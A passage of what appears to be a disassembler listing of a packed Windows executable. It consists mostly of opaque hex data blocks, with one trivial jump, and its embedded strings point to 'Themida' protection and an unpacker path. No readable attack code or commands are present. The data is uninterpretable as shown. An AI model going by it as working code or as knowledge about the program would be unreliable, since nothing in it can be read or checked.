		dd 54B15CC4h, 0E6CCC7B9h, 177838D8h, 0CD135C59h, 2A7000D6h
		dd 898C155Eh, 69A9C41Fh, 44F70B01h, 843DF3B2h, 0AF777500h
		dd 0F052786Dh, 659E9905h, 0C82293Dh, 8512B3Fh, 2E00F917h
		dd 2796D2DCh, 7278FE42h, 0F174054Fh, 0C16DDE0Ah, 6614829Ah
		dd 0F4EE092Ch, 0DC7485CEh, 33F208Ch, 0AC5DF7EBh, 5FB837FAh
		dd 189DC0CEh, 7C73E0E4h, 0C48B0B2Dh, 0BC4075F0h, 3200778Ch
		dd 0D0B4FF5Ch, 146C8242h, 0F063DB4Eh, 989ADA0Bh, 52162004h
		dd 28568CF0h, 109026B8h, 183D1B0h, 5A034D47h, 28203C9Ch
		dd 0DACD1613h, 0B594885Fh, 21C12900h, 0BDBBB6FCh, 673F006Fh
		dd 0B4784507h, 0F5058811h, 5F7C14C1h, 0E9D8FC20h, 0B1782643h
		dd 0C138263Ch, 0A4BFFD28h, 5B00F490h, 24A66BA5h, 43CB01B4h
		dd 213134BCh, 4A208964h, 0F4DAB2h, 79888C20h, 279E7BFBh
		dd 910A700h, 0C4E79BACh, 7DF10005h, 902F30AFh, 58BC65C6h
		dd 0AC6CA34Eh, 0A09CB867h, 521E0064h, 4A1AAAFBh, 1C044C14h
		dd 3CAD819Fh, 7DC984CCh, 2E4F00B8h, 2D259387h, 615049CFh
		dd 0C85C6010h, 0E0060148h, 2517CE6Ah, 1916E320h, 0F19B490Ch
		dd 60202B19h, 5D03D74h,	8E6F7663h, 0C8B03169h, 4B39D0DBh
		dd 0FAA5700h, 3B7F0827h, 0E94A00CBh, 46D69D1Fh,	0F8BCF3A7h
		dd 0A0F42181h, 0C0FF2F25h, 386788h, 202B178Fh, 5B971158h
		dd 80D4354Ch, 829E05CEh, 0F8B10023h, 8B1FF402h,	3C00CB3Eh
		dd 0B7B9AF93h, 5249C917h, 8700E077h, 9DDE3AF7h,	0FE25647Eh
		dd 0FDE41089h, 12830AD0h, 9B8D81Eh, 0F4D0990Ch,	277C4050h
		dd 1AAC9C00h, 0F297B79Fh, 0D7DA0958h, 24C0052Ah, 0CD0BFBD4h
		dd 2A47EF3h, 616E69C3h,	1428D3BCh, 0CBEDBC80h, 83E802ACh
		dd 0F337DE16h, 98DBF4E4h, 7FA800D0h, 3BD3C2B8h,	0F61CFDC4h
		dd 0FE4620D0h, 0C0B1468Ah, 0D8DAA28h, 0A207B02Eh, 419915A1h
		dd 0C8F26354h, 0E3940F78h, 0C4E25D18h, 547170F9h, 72B3013Bh
		dd 2814E0ACh, 38AEE4h, 0FE50A53Ah, 79192216h, 91D77A27h
		dd 62C8D2A0h, 2C300A3h,	5C15B306h, 97F478BAh, 8259DE3Ah
		dd 47EACA85h, 5E88805Dh, 949EEF5h, 0A7D33BAEh, 42269401h
		dd 0DB50C80Bh, 41C6E4A8h, 0D52E39h, 3466B7C3h, 66B30A8h
		dd 338DA00Dh, 58183889h, 1C10A6BEh, 618730DBh, 0DA905F60h
		dd 2220DF58h, 99ECF944h, 13FB05C8h, 305787BCh, 5EE35188h
		dd 0F04C83FCh, 24A0918h, 114C891Fh, 7ECEDD68h, 851A40F8h
		dd 0C5005B14h, 6648992Eh, 7A335CB7h, 73AB079Ah,	0D3765AC0h
		dd 0CDE4DDDFh, 3D10EC80h, 0F8200C00h, 0CACB47D8h, 11FE11B6h
		dd 0CE4A0B8Fh, 60142530h, 280054ADh, 89B14F80h,	10188CB8h
		dd 690CE6ECh, 7B050033h, 0DB2CA0EDh, 0EE39C842h, 1A2497EFh
		dd 8671A405h, 5600A0F7h, 49CD6F0Dh, 0E0905446h,	48170C44h
		dd 0E816385Bh, 0F91830ADh, 43036B85h, 83CFF96h,	0D3E3C058h
		dd 0A8CF1774h, 6880C81Bh, 0B0803BE1h, 2522EB13h, 3400AEA0h
		dd 64CEBA31h, 0A901D873h, 8A4C2F65h, 6C60AE70h,	9CB8C063h
		dd 0FDDBDF47h, 4913F209h, 0C0086A99h, 0B8A410EFh, 5EE002F4h
		dd 0A2CE8CC3h, 0F81F8C7Eh, 3608066h, 0EB1BDF01h, 9180F4h
		dd 9AB06715h, 0E5BBF3F8h, 0A060EB09h, 84E47Eh, 6A55C0CCh
		dd 644E2015h, 0A82A2806h, 60785Eh, 0C419F5DDh, 937741CBh
		dd 0AA804C99h, 5911C153h, 0B46900B2h, 0F4DC9C13h, 963C4C55h
		dd 5813D871h, 304BDDD4h, 5C230528h, 9A7FBC04h, 184E252h
		dd 1A1C30B0h, 3BEC7C6Ch, 0FFFB1208h, 0E7CD0B1h,	94177D16h
		dd 0C816F17Bh, 267D820h, 1EF5002Ah, 41BC07B6h, 8B003E9Bh
		dd 0DEF9063Bh
		dd 0B0C65E33h, 3ED0F0C8h, 0C05BD35Fh, 5699FB40h, 5CC87D4Ah
		dd 40E400FCh, 1CEBDDCEh, 64165B25h, 930004B0h, 66B1B95Eh
		dd 0A85D5960h, 0BC20A72h, 97C0F1E2h, 0D86C20EEh, 0BE001494h
		dd 0AFBDFB67h, 58DFD296h, 1B016C31h, 3F139757h,	2D2C2DC9h
		dd 0B064FEh, 8D796BADh,	63CE1478h, 94C29B5Eh, 4A504854h
		dd 0BA8B9C5h, 3066060Bh, 0F21ECC00h, 0F173EB33h, 0BD4C0286h
		dd 67BF58CDh, 0A5E2A600h, 0CCFF52F3h, 8F2A980Fh, 4E397F80h
		dd 0C709D7C2h, 0C4B5BDEAh, 7BF616B4h, 7E25008Fh, 5B9026FCh
		dd 2838F178h, 0AC769FAEh, 6F2F67C1h, 0D20FFADh,	70DD6562h
		dd 3C348C6Ch, 30967B0Ah, 71805880h, 7FCE70E6h, 40B50084h
		dd 0FEB7E814h, 509CB229h, 0DC7A6C80h, 3FCB1AD4h, 0E1039F40h
		dd 8D2CD842h, 0AAB37BC8h, 6E3D9909h, 30D15Eh, 281D5A51h
		dd 6B046118h, 1E39C652h, 0DC860CC1h, 2E4217D0h,	409C4115h
		dd 0D3CEE71Ch, 2CB7F600h, 0BE4C94E0h, 120B013Dh, 4A6773DDh
		dd 7072CDh, 0B83A39AEh,	0B0EB801Ah, 163BEC6Ch, 3082FE16h
		dd 0B7AC03A0h, 47CBDA01h, 3B17DB4Ah, 2040DE02h,	873E0376h
		dd 0A4205B2Ah, 1EC2235Ah, 0CF33775Dh, 7E61C4CAh, 202DA9CDh
		dd 37250260h, 8D408AB8h, 0EE427900h, 2D1778F5h,	10C8F322h
		dd 97005D86h, 15011DE9h, 17856758h, 301107FAh, 2B57D7B4h
		dd 3683E000h, 29F4C608h, 8BB23D6Eh, 4E30B187h, 88B4A4F9h
		dd 6F031EC0h, 162CDB06h, 60A2DDBFh, 0E21D0200h,	0DC326E43h
		dd 4B71D306h, 0BEAE84Ch, 0A60D6A1Fh, 40224804h,	2EF2FE6Bh
		dd 8A790A43h, 61DCC458h, 0C739F7AEh, 3284B2F0h,	20BA39h
		dd 2F4DE30Fh, 13A9AC78h, 0A2A8495Ah, 676900D8h,	81F8D917h
		dd 4568012Bh, 411D1AF3h, 7CB8EC9Ch, 0ADD5480Ah,	5A08FC31h
		dd 0F680695Ch, 24B512FAh, 20C70F00h, 62BE7131h,	800C99A8h
		dd 7F171115h, 0C8001D58h, 0BF7CBAB1h, 4DE8AFFh,	1FD0C220h
		dd 8018F826h, 550502A0h, 4F9E1EF2h, 2CE6806Fh, 395AF78Bh
		dd 8885223Fh, 0BDE2EC31h, 6E12B881h, 0D48ACC47h, 0FA638E22h
		dd 90858C66h, 60C67F72h, 5C78C016h, 0F14B0B79h,	0D02C3490h
		dd 2E2D028Dh, 66496765h, 720168D9h, 5C396089h, 1FB653ECh
		dd 429BB069h, 0F20C6D6h, 8300CCD9h, 74BA6717h, 0B49500AEh
		dd 0B9020D9h, 8290E2EAh, 0C030CF48h, 0C1F7A650h, 0BE4FA69h
		dd 7AB047B2h, 14036850h, 847B288Dh, 0A357C0FDh,	554C07C4h
		dd 8E3A96C8h, 70803689h, 64B7BB2Bh, 2D4CBC4Ch, 0DC44834Ch
		dd 89FE98B6h, 9DDB8962h, 80C7D318h, 8CA07B71h, 0A5CC6C23h
		dd 0F6FFFF01h, 0C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4F9B1E:				; CODE XREF: start:loc_48F265j
					; DATA XREF: start:loc_48F086o
		jmp	loc_4FCFB7
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
aHV		db 'h%',0
		dd 5 dup(0)
		dd 0BB000000h, 4FCEh, 5D000000h, 52DBh,	8 dup(0)
		dd 7A000000h, 66h, 2 dup(0)
		dd 3D000000h, 0FFB032h,	6A000000h, 0A077D4C9h, 549Ah, 0Bh dup(0)
		dd 25800h, 2 dup(0)
		dd 0B0000000h, 20CFFh, 2 dup(0)
		dd 89000000h, 990053F6h, 4009C94h, 7FFE03h, 3 dup(0)
		dd 0F6000000h, 0A40053AFh, 4 dup(0)
		dd 0B5000000h, 77E75Ch,	22000000h, 1Ch,	4 dup(0)
		dd 0FD000000h, 77E7A5h,	2 dup(0)
		dd 0EF000000h, 86765EC7h, 77E7C4h, 0B6000000h, 534Bh, 6	dup(0)
		dd 39000000h, 3	dup(0)
		dd 0F1000000h, 54BBh, 0
		dd 1000000h, 0
		dd 50000000h, 56F6h, 4000000h, 0A87FFE03h, 5302h, 0
		dd 80000000h, 4FC2h, 3 dup(0)
		dd 0EF000000h, 11765EC7h, 2E496DFBh, 5804h, 0
		dd 25700h, 1Eh dup(0)
		dd 98000000h, 3	dup(0)
		dd 92000000h, 695A59h, 0E4000000h, 40F50Ah, 85h	dup(0)
		dd 0E0000000h, 12FFh, 0
		dd 44000000h, 0DAh, 0
		dd 63000000h, 3E77E779h, 3E77FF00h, 777FCC7Eh, 34EAC1h
		dd 2 dup(0)
		dd 2E000000h, 5C6Fh, 3 dup(0)
		dd 85000000h, 0FFFFF4h,	2 dup(0)
		dd 0B000000h, 0E90040F1h, 400h,	5B000000h, 1009C91h, 9A000000h
		dd 77DD18h, 5 dup(0)
		dd 4000000h, 3F7FFE03h,	36705BA0h, 56A5h, 0
		dd 0FF000000h, 6AA6B8Dh, 6 dup(0)
		dd 90000000h, 550Fh, 0
		dd 1000000h, 0D0000000h, 4003h,	38000000h, 0FFFF93h, 4 dup(0)
		dd 74000000h, 0A7AE98h,	5 dup(0)
		dd 0DE000000h, 52DDh, 2	dup(0)
		dd 51000000h, 28818h, 2	dup(0)
		dd 0F7000000h, 9C09h, 0
		dd 0E5000000h, 0A8005387h, 5 dup(0)
		dd 7A000000h, 66h, 7 dup(0)
		dd 4000000h, 3D7FFE03h,	13FB52h, 4 dup(0)
		dd 0EB000000h, 531Ch, 60000000h, 3Bh, 2	dup(0)
		dd 7A000000h, 66h, 60000000h, 533Bh, 5E000000h,	77E7ACh
		dd 2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0E000000h, 1422h, 3 dup(0)
		dd 87000000h, 2D70C1h, 0
		dd 25000000h, 0C9625h, 2 dup(0)
		dd 58000000h, 7F0012FFh, 4FC2h,	98000000h, 6D4757h, 9 dup(0)
		dd 6800002Ah, 9D15h, 0
		dd 0CB000000h, 56C1h, 0
		dd 0B4000000h, 0C3A383h, 0AC000000h, 9E9Bh, 2 dup(0)
		dd 5E000000h, 534Bh, 2 dup(0)
		dd 23000000h, 5300h, 4 dup(0)
		dd 98000000h, 8051C7h, 0
		dd 6B023D00h, 5709h, 0Ah dup(0)
		dd 7A000000h, 66h, 0
		dd 9B00h, 1000000h, 2 dup(0)
		dd 7A000000h, 66h, 2 dup(0)
		dd 0F000000h, 9CA0h, 5 dup(0)
		dd 27000000h, 0C0005544h, 85000000h, 0F25558h, 9 dup(0)
		dd 5D000000h, 5338h, 0
		dd 2E000000h, 9C5Eh, 4 dup(0)
		dd 21000000h, 1A4A03h, 0Ah dup(0)
		dd 54000000h, 0D52047h,	0
		dd 0C0000000h, 550Dh, 7F000000h, 53B587h, 4 dup(0)
		dd 0BB000000h, 4FACh, 0
		dd 0F1000000h, 5335h, 9	dup(0)
		dd 3F000000h, 34EAC1h, 0Bh dup(0)
		dd 0D2000000h, 0FFA85Ah, 5 dup(0)
		dd 0A0000000h, 1600009Eh, 9E73h, 0
		dd 44000000h, 0C246DAh,	0
		dd 0BA000000h, 0CD14C414h, 6A270F58h, 900052CEh, 0
		dd 60000000h, 0F4B0AEh,	5 dup(0)
		dd 0F1000000h, 5335h, 3	dup(0)
		dd 0B8000000h, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF009Ch, 424448Bh
		dd 0E0FFh, 14h dup(0)
		dd 1000000h, 3 dup(0)
		dd 7A000000h, 1D1Ah, 8 dup(0)
		dd 4000000h, 0A37FFE03h, 5BCDA680h, 3, 4 dup(0)
		dd 44000000h, 0ACC246DAh, 5542h, 4 dup(0)
		dd 97000000h, 0F1A61Dh,	3 dup(0)
		dd 0AC000000h, 0F056CA18h, 1446h, 6025B7C7h, 533Bh, 5 dup(0)
		dd 68000000h, 77E83Eh, 8 dup(0)
		dd 0DD000000h, 0FFACFFh, 4 dup(0)
		dd 0EE1000h, 0
		dd 60000000h, 0D177E821h, 2D9775h, 0
		dd 0A9000000h, 53C5h, 0
		dd 0C3000000h, 4FCDh, 0
		dd 6C000000h, 15h dup(0)
		dd 2F000000h, 4FA3h, 4000000h, 2 dup(0)
		dd 28000000h, 11209Eh, 4 dup(0)
		dd 5477DD00h, 54A9h, 2 dup(0)
		dd 4A000000h, 1423h, 4 dup(0)
		dd 0FF000000h, 0BC8C87Bh, 40F1h, 3 dup(0)
		dd 8000000h, 218h, 9 dup(0)
		dd 4000000h, 3,	4 dup(0)
		dd 54000000h, 12FFh, 0
		dd 0E8000000h, 77E82Fh,	18h dup(0)
		dd 50000000h, 0FFFF8Bh,	2 dup(0)
		dd 98000000h, 0E08051C7h, 0D4DE84C6h, 6	dup(0)
		dd 94000000h, 697E94h, 1B000000h, 57D5h, 3 dup(0)
		dd 2B028800h, 774FA8h, 3 dup(0)
		dd 0F7000000h, 9C09h, 0Dh dup(0)
		dd 1000000h, 3 dup(0)
		dd 0B5000000h, 77E75Ch,	9 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 44000000h, 6077E7A1h, 8200533Bh, 77E78Bh, 4 dup(0)
		dd 5E000000h, 56BEh, 0E8000000h, 0BB009D23h, 539Bh, 5 dup(0)
		dd 1000000h, 54A9h, 3 dup(0)
		dd 0E9000000h, 0B077EBA6h, 22CFFh, 2 dup(0)
		dd 0AD000000h, 0FFAB65h, 0
		dd 0F4000000h, 61BDEEh,	0
		dd 94000000h, 3Dh, 2 dup(0)
		dd 0E000000h, 43B7FAh, 0Ah dup(0)
		dd 92000000h, 78A69Eh, 2 dup(0)
		dd 38000000h, 0FFFF93h,	0Ah dup(0)
		dd 91000000h, 11AB9CCFh, 0FFFFE3h, 6 dup(0)
		dd 2000000h, 0
		dd 9C000000h, 2456Bh, 0EF000000h, 4FD9h, 1000000h, 2 dup(0)
		dd 0E8000000h, 0FF77E82Fh, 52FFh, 5 dup(0)
		dd 0E9000000h, 400h, 0C3000000h, 0CDh, 64000000h, 960052ACh
		dd 0FFAD31h, 3 dup(0)
		dd 1000000h, 6D000000h,	70F7h, 4 dup(0)
		dd 1E000000h, 0FA239Bh,	0B0000000h, 54FFh, 0AF000000h
		dd 7FFF4Bh, 6 dup(0)
		dd 0FF000000h, 77F7FFh,	8 dup(0)
		dd 4000000h, 347FFE03h,	5CF3h, 0C2000000h, 0C4000016h
		dd 12FFh, 0FB000000h, 2177E733h, 21018h, 23000000h, 5300h
		dd 0Ah dup(0)
		dd 68000000h, 4000221h,	6F000000h, 4FA8h, 0Dh dup(0)
		dd 0C3000000h, 4FCDh, 0
		dd 0F3000000h, 0A2005F35h, 83EA99h, 0Ch	dup(0)
		dd 80000000h, 0FFFF94h,	3 dup(0)
		dd 25000000h, 0E0005334h, 3CD5DBh, 54000000h, 12FFh, 0Eh dup(0)
		dd 0FF000000h, 77FFFFh,	0
		dd 86000000h, 0BCFFE2E5h, 1011AAh, 6 dup(0)
		dd 6B000000h, 54E9h, 0AB000000h, 0DC805547h, 7FFFFBh, 4	dup(0)
		dd 0A0000000h, 0FFACC4h, 20h, 4	dup(0)
		dd 38000000h, 0Dh dup(0)
		dd 58000000h, 570Dh, 4 dup(0)
		dd 51000000h, 9C69h, 99000000h,	9C94h, 94000000h, 0FFFFFFh
		dd 4 dup(0)
		dd 56000000h, 0DCh, 0Bh	dup(0)
		dd 14000000h, 61B4h, 0
		dd 68000000h, 9D32h, 0AF000000h, 534Ah,	0DE000000h, 9C2Bh
		dd 4 dup(0)
		dd 10000000h, 7481C8h, 29000000h, 57ACh, 0
		dd 53000000h, 0C900A08Dh, 64881857h, 0E4FFFF8Fh, 0E150F3h
		dd 2 dup(0)
		dd 0E5000000h, 8C005387h, 6 dup(0)
		dd 44000000h, 0C246DAh,	0Bh dup(0)
		dd 0E8000000h, 0F000006h, 77F52Eh, 8 dup(0)
		dd 0EF000000h, 4FD9h, 54000000h, 6CA185h, 6 dup(0)
		dd 0DF000000h, 0D8A9C530h, 641DD8h, 6000000h, 52DEh, 2 dup(0)
		dd 0C850Fh, 0
		dd 23000000h, 0AE005300h, 5683h, 0
		dd 4000000h, 4044FF3h, 0C47FFE03h, 200005Dh, 2 dup(0)
		dd 0F5000000h, 1C1551h,	2 dup(0)
		dd 7A000000h, 4000066h,	7FFE03h, 0Bh dup(0)
		dd 1000000h, 0E0000000h, 0AFh, 68000000h, 9BB1h, 3 dup(0)
		dd 22000000h, 22222222h, 6E222222h, 45E8A3CCh, 4FDEh, 0
		dd 27000000h, 37005544h, 70009C9Ch, 7C2C78h, 5 dup(0)
		dd 0B000000h, 77F518h, 3 dup(0)
		dd 0F6000013h, 52A5h, 0
		dd 4F000000h, 0FFAC64h,	3 dup(0)
		dd 0DA000000h, 0E10056ABh, 809A6Ch, 0
		dd 2000000h, 5 dup(0)
		dd 0A0000000h, 0FFACC4h, 3 dup(0)
		dd 1000000h, 77E600h, 0A6000000h, 0FFFECFh, 5 dup(0)
		dd 0DC000000h, 8803AFh,	3 dup(0)
		dd 0FE000000h, 0ACA1h, 5 dup(0)
		dd 0D8000000h, 77E805h,	11h dup(0)
		dd 40000000h, 13Fh, 4 dup(0)
		dd 0C3000000h, 78B8A7B1h, 5458h, 0F000000h, 9CA0h, 0Ah dup(0)
		dd 68000000h, 77E821h, 5 dup(0)
		dd 94000000h, 2	dup(0)
		dd 74000000h, 6F005711h, 51004FA8h, 56A9h, 54000000h, 9BD5h
		dd 5 dup(0)
		dd 59000000h, 65D855h, 0
		dd 0F8000000h, 0B60012FEh, 52DDh, 2 dup(0)
		dd 72000000h, 0C12A53h,	7A000000h, 66h,	0
		dd 0A9000000h, 2287D5h,	4 dup(0)
		dd 0C0000000h, 10h, 2 dup(0)
		dd 24000000h, 242424h, 0Fh dup(0)
		dd 1E000000h, 0FFFFFBh,	0
		dd 0F00B300h, 3B009CA0h, 9C3Eh,	2 dup(0)
		dd 44000000h, 6AC246DAh, 77D4C9h, 3 dup(0)
		dd 0D7000000h, 0E802456Bh, 0AB77E82Fh, 567Dh, 0DB000000h
		dd 7FFE7Fh, 2 dup(0)
		dd 0A6000000h, 60746936h, 8200533Bh, 77E78Bh, 0Ah dup(0)
		dd 77E600h, 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h
		dd 7Eh dup(0)
		dd 0F3000000h, 9D7Bh, 4	dup(0)
		dd 26000000h, 0DFEFCF75h, 573769h, 3 dup(0)
		dd 0A0000000h, 3, 7 dup(0)
		dd 0A3000000h, 0EA3231h, 0
		dd 92000000h, 550Eh, 4 dup(0)
		dd 64000000h, 12FFh, 4 dup(0)
		dd 92000000h, 0A0009C22h, 0FFED9Fh, 0Bh	dup(0)
		dd 9000000h, 5531h, 6 dup(0)
		dd 0B1000000h, 0FFA8DCh, 0
		dd 54000000h, 12FFh, 0
		dd 0CA000000h, 0D800AAB1h, 15161h, 0
		dd 1C000000h, 6, 4 dup(0)
		dd 0EB000000h, 531Ch, 0
		dd 4000000h, 0E77FFE03h, 0A0A5h, 0
		dd 0EB000000h, 0D800531Ch, 9E7Fh, 3 dup(0)
		dd 68000000h, 221h, 7A000000h, 66h, 8 dup(0)
		dd 9C000000h, 0F000000h, 0A0h, 7A000000h, 66h, 0
		dd 0DD000000h, 7043FCh,	0
		dd 80000000h, 4B64h, 2 dup(0)
		dd 0D8000000h, 0D5B50Bh, 33000000h, 5A1AECABh, 0DA5D61h
		dd 0EB000000h, 5544h, 2	dup(0)
		dd 0BF000000h, 19FFFFE7h, 0F000000h, 9CA0h, 2 dup(0)
		dd 0F4000000h, 12FEh, 56000000h, 9CFAh,	4 dup(0)
		dd 54000000h, 12FFh, 0
		dd 60000000h, 533Bh, 6 dup(0)
		dd 0EB000000h, 5C5C1Eh,	68000000h, 9D15h, 6 dup(0)
		dd 31000000h, 1B9645h, 4 dup(0)
		dd 9D000000h, 0B36851h,	14h dup(0)
		dd 49000000h, 54FCh, 0
		dd 60000000h, 533Bh, 0
		dd 0BE000000h, 0ECB429h, 0
		dd 16000000h, 3, 6 dup(0)
		dd 0FF000000h, 52D5h, 1Ah dup(0)
		dd 32000000h, 165ABAh, 6 dup(0)
		dd 49000000h, 7CDC2311h, 78005500h, 0FFFE47h, 5	dup(0)
		dd 0CC000000h, 8C98FA8h, 6000218h, 0EB77E6D7h, 531Ch, 2	dup(0)
		dd 34000000h, 9C92h, 4A000000h,	22h, 0
		dd 43000000h, 0D60052DBh, 2456Bh, 54000000h, 9D31h, 0AC000000h
		dd 14D2Dh, 2 dup(0)
		dd 48D0h, 7 dup(0)
		dd 0F5000000h, 5698h, 3	dup(0)
		dd 51000000h, 545Ah, 74000000h,	0D614D9h, 3 dup(0)
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 7 dup(0)
		dd 820008C0h, 77E7C1h, 4 dup(0)
		dd 1A000000h, 638E50h, 4000000h, 7FFE03h, 3 dup(0)
		dd 0B0000000h, 19CFFh, 60000000h, 3 dup(0)
		dd 930003AAh, 881867h, 5 dup(0)
		dd 68000000h, 25A2C1h, 77F500h,	3 dup(0)
		dd 0CC000000h, 77DD5Eh,	2 dup(0)
		dd 44000000h, 0C246DAh,	3 dup(0)
		dd 0C8000000h, 7A00006Ch, 0D9C8DBh, 7 dup(0)
		dd 0C8000000h, 0FFED00h, 11000000h, 24111111h, 77FC50h
		dd 2 dup(0)
		dd 0D1000000h, 7, 3 dup(0)
		dd 0A8000000h, 31A68F0Eh, 7799E4h, 0FF000000h, 0FFF9FFh
		dd 6 dup(0)
		dd 93000000h, 0F8009C93h, 77FF01h, 2 dup(0)
		dd 0F000000h, 9CA0h, 6 dup(0)
		dd 0D4000000h, 351119h,	90000000h, 0B000000h, 567Fh, 5 dup(0)
		dd 0C2000000h, 0C30055AAh, 4FCDh, 29h dup(0)
		dd 0F000000h, 9CA0h, 0
		dd 4000000h, 7FFE03h, 0
		dd 1000000h, 77E600h, 0
		dd 0A4000000h, 12FFh, 9	dup(0)
		dd 1000000h, 3FB0F5h, 5A025500h, 56A3h,	2 dup(0)
		dd 60000000h, 533Bh, 0
		dd 6C025600h, 0Dh, 36000000h, 363636h, 2 dup(0)
		dd 0F000000h, 44009CA0h, 6C77E7A1h, 3 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 14000000h, 8F0h, 0
		dd 80000000h, 0FD00000Eh, 9C00h, 0CB000000h, 56C1h, 2 dup(0)
		dd 34000000h, 13Eh, 2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0A3000000h, 0FFAD24h, 5 dup(0)
		dd 37000000h, 77E7A8h, 5 dup(0)
		dd 0EF000000h, 77E793h,	0
		dd 4000000h, 0BE7FFE03h, 140001AAh, 0FFFF99h, 0
		dd 4000000h, 4 dup(0)
		dd 8E000000h, 4D7F4Ah, 0
		dd 4004000h, 7FFE03h, 2	dup(0)
		dd 33000000h, 2	dup(33333333h),	0F333333h, 9CA0h, 2 dup(0)
		dd 79000000h, 42B2398h,	7FFE03h, 2 dup(0)
		dd 8D000000h, 8	dup(0)
		dd 45000000h, 0E850F36Eh, 10h, 2 dup(0)
		dd 65000000h, 82D0D9h, 0Ch dup(0)
		dd 0C3000000h, 0FC004FCDh, 0D782FCh, 59000000h,	0FFA49Bh
		dd 5 dup(0)
		dd 0FC000000h, 8001FCh,	2 dup(0)
		dd 25600h, 4 dup(0)
		dd 28000000h, 0E0EDCBh,	5 dup(0)
		dd 54000000h, 9F0012FFh, 5531h,	0
		dd 4B000000h, 5403h, 60000000h,	533Bh, 0
		dd 0E3000000h, 6B8C5Ah,	0Bh dup(0)
		dd 0D4000000h, 0A7h, 7 dup(0)
		dd 0DD000000h, 9C69h, 7	dup(0)
		dd 0D1000000h, 559Bh, 9	dup(0)
		dd 1000000h, 0
		dd 76B400h, 84000000h, 2 dup(0)
		dd 2000000h, 6 dup(0)
		dd 0B0000000h, 9C6Ch, 0FC000000h, 57EDh, 3F000000h, 77E7A1h
		dd 5 dup(0)
		dd 64000000h, 0FFFF8Fh,	3 dup(0)
		dd 23000000h, 0C6005300h, 0BA3C6Bh, 6000000h, 53F8h, 1000000h
		dd 2 dup(0)
		dd 0C000000h, 23D00h, 2	dup(0)
		dd 40000000h, 5510h, 0
		dd 6D000000h, 0F000562Dh, 3F0012FFh, 4FA6h, 5 dup(0)
		dd 1000000h, 2 dup(0)
		dd 70000000h, 36Bh, 37000000h, 4FA4h, 4	dup(0)
		dd 23000000h, 4F00h, 4 dup(0)
		dd 5F000000h, 77F7EDh, 4000000h, 7FFE03h, 0BE000000h, 5699h
		dd 2 dup(0)
		dd 54000000h, 12FFh, 0
		dd 0CB000000h, 4B0056C1h, 0B5E18946h, 0FC77E75Ch, 0F027D7Fh
		dd 0F5009CA0h, 30AB37h,	2 dup(0)
		dd 37000000h, 60009CA0h, 533Bh,	2 dup(0)
		dd 41000000h, 4477F5EAh, 0C246DAh, 78000000h, 83000000h
		dd 5437h, 6 dup(0)
		dd 0C3000000h, 68004FCDh, 77E821h, 3 dup(0)
		dd 0FF000000h, 0FFF9FFh, 5 dup(0)
		dd 1000000h, 12BBh, 0CB000000h,	56C1h, 0B0000000h, 0FFh
		dd 5 dup(0)
		dd 0F0000000h, 77DD59h,	4 dup(0)
		dd 0E9000000h, 1C8h, 0
		dd 34000000h, 5CF3h, 19h dup(0)
		dd 0EB000000h, 5C5C90h,	0ED000000h, 0FFFF93h, 0A000000h
		dd 4009C8Ch, 7FFE03h, 0
		dd 0E15100h, 6 dup(0)
		dd 0DC000000h, 0D00052D3h, 50C8AD17h, 0FDD300h,	5 dup(0)
		dd 0FC000000h, 53B1h, 1E000370h, 13940h, 0
		dd 60000000h, 533Bh, 77D400h, 4	dup(0)
		dd 2000000h, 4 dup(0)
		dd 80000000h, 0EF000000h, 0FC004FD9h, 53B1h, 0D8000000h
		dd 77E805h, 4 dup(0)
		dd 0F8000000h, 12FEh, 0
		dd 0FE000000h, 8Eh, 6C000000h, 2A005724h, 4FD5h, 2 dup(0)
		dd 6000000h, 0
		dd 7A000000h, 66h, 3 dup(0)
		dd 0EF000000h, 1Ch, 2 dup(0)
		dd 0B000000h, 0FE998Ah,	0
		dd 4000000h, 7FFE03h, 0
		dd 2A000000h, 4FD5h, 3 dup(0)
		dd 0A000000h, 9C8Ch, 4F000000h,	0EC071Bh, 0
		dd 0E6000000h, 9B0Fh, 0
		dd 0FC000000h, 57EDh, 54000000h, 696D6568h, 6164h, 1Dh dup(0)
		dd 0E8000000h, 0FEF972h, 7C000000h, 0CB000000h,	56C1h
		dd 68h dup(0)
		dd 9D000000h, 98975789h, 82F0EFh, 0C4000000h, 9C70h, 3 dup(0)
		dd 17000000h, 5B1F3Fh, 0BA77F500h, 0B61305h, 60000000h
		dd 533Bh, 3 dup(0)
		dd 18A0h, 0FC000000h, 8001FCh, 2 dup(0)
		dd 0FC000000h, 0F684F0h, 11h dup(0)
		dd 1E000000h, 0FFFF9Fh,	4 dup(0)
		dd 38000000h, 0FFFF93h,	4 dup(0)
		dd 58000000h, 0D000570Dh, 7200001Ch, 533Bh, 3 dup(0)
		dd 40000000h, 76B41Bh, 3 dup(0)
		dd 0F4000000h, 0B00012FEh, 5014CFFh, 0A2801h, 8	dup(0)
		dd 68000000h, 25A2C1h, 0
		dd 1F000000h, 19B649h, 3 dup(0)
		dd 79000000h, 9C005721h, 2456Bh, 45000000h, 53F6h, 3 dup(0)
		dd 60000000h, 9D15h, 2Bh dup(0)
		dd 48000000h, 6333h, 5 dup(0)
		dd 0D7000000h, 744712EDh, 2 dup(0)
		dd 0A0000000h, 24561h, 3D000000h, 3E8147h, 8 dup(0)
		dd 0F4000000h, 61BDEEh,	4 dup(0)
		dd 0EE000000h, 5474h, 2	dup(0)
		dd 3B000000h, 5803h, 10h dup(0)
		dd 0E8000000h, 45004001h, 9C31h, 4 dup(0)
		dd 54000000h, 12FFh, 0C9000000h, 0C51BE3h, 3B000000h, 21009C3Eh
		dd 8B212121h, 65h, 3 dup(0)
		dd 0AC000000h, 2000000h, 3A1A88h, 3 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 68004010h, 232h, 2 dup(0)
		dd 34000000h, 9EB1h, 4 dup(0)
		dd 88000000h, 0
		dd 1EAF00h, 74000000h, 7 dup(0)
		dd 7Fh,	0Ch dup(0)
		dd 1000000h, 2 dup(0)
